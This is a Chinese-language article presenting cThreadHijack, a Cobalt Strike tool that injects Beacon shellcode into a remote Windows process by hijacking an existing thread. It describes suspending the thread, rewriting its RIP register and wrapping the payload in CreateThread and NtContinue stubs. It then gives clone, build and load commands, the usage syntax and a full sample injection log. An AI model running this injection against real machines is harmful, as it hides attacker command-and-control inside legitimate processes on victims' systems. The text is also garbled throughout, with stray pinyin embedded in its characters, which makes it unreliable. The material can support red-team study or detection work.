如何使用cThreadHijack實現(xiàn)遠程進程注入研究
關于cThreadHijack
cThreadHijack是一個針對遠程進程注入信標對象文件(BOF),該工具主要通過線程劫持技術實現(xiàn)其功能,并且不會生成任何遠程線程。
運行機制
cThreadHijack可以根據(jù)用戶提供的監(jiān)聽器參數(shù)來生成原始信標Shellcode,并根據(jù)用戶提供的PID參數(shù)將其注入至遠程進程中,這一步主要利用的是VirtualAllocEx和WriteProcessMemory方法。
接下來,cThreadHijack并不會通過CreateRemoteThread或其他API生成一個新的遠程線程,而是識別目標進程中的第一個線程,掛起目標線程之后,它便會通過一個CONTEXT結構體來獲取線程CPU狀態(tài)的內(nèi)容。接下來,它會修改CONTEXT結構體中RIP寄存器成員的地址,并將其指向遠程Payload。
在執(zhí)行之前,cThreadHijack會將一個封裝了信標Shellcode的程序添加至一個針對CreateThread的調(diào)用方法中。CreateThread程序封裝在一個名叫NtContinue的函數(shù)調(diào)用程序,可以允許之前被劫持的線程在不導致遠程進程崩潰的前提下恢復運行。cThreadHijack的信標Payload在生成時會帶有一個“線程退出函數(shù)”,以允許進程在信標退出之后繼續(xù)執(zhí)行。
信標監(jiān)聽器的名稱如果包含空格的話,必須放在引號中。
工具下載
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
- git clone https://github.com/connormcgarr/cThreadHijack.git
項目構建
首先,在一臺Windows虛擬機上,點擊Win鍵,輸入“x64 Native Tools”打開“x64 Native Tools Command Prompt for VS”對話框。
接下來,將目錄修改為“C:\path\to\cThreadHijack”。
然后運行下列命令:
- nmake -f Makefile.msvc build
最后,通過Cobalt Strike的“Script Console”以及參數(shù)“load /path/to/cThreadHijack.cna”來加載cThreadHijack.cna。
工具使用
- cThreadHijack PID LISTENER_NAME
運行結果樣例如下:
- beacon> cThreadHijack 7340 TESTING
- [+] host called home, sent: 268433 bytes
- [+] received output:
- [+] Target process PID: 7340
- [+] received output:
- [+] Opened a handle to PID 7340
- [+] received output:
- [+] Found a thread in the target process! Thread ID: 10212
- [+] received output:
- [+] Suspending the targeted thread...
- [+] received output:
- [+] Wrote Beacon shellcode to the remote process!
- [+] received output:
- [+] Virtual memory for CreateThread and NtContinue routines allocated at 0x201f4ab0000 inside of the remote process!
- [+] received output:
- [+] Size of NtContinue routine: 64 bytes
- [+] Size of CONTEXT structure: 1232 bytes
- [+] Size of stack alignment routine: 4
- [+] Size of CreateThread routine: 64
- [+] Size of shellcode: 261632 bytes
- [+] received output:
- [+] Wrote payload to buffer to previously allocated buffer inside of!
- [+] received output:
- [+] Current RIP: 0x7ffa55df69a4
- [+] received output:
- [+] Successfully pointed the target thread's RIP register to the shellcode!
- [+] received output:
- [+] Current RIP: 0x201f4ab0000
- [+] received output:
- [+] Resuming the thread! Please wait a few moments for the Beacon payload to execute...
項目地址
cThreadHijack:【GitHub傳送門】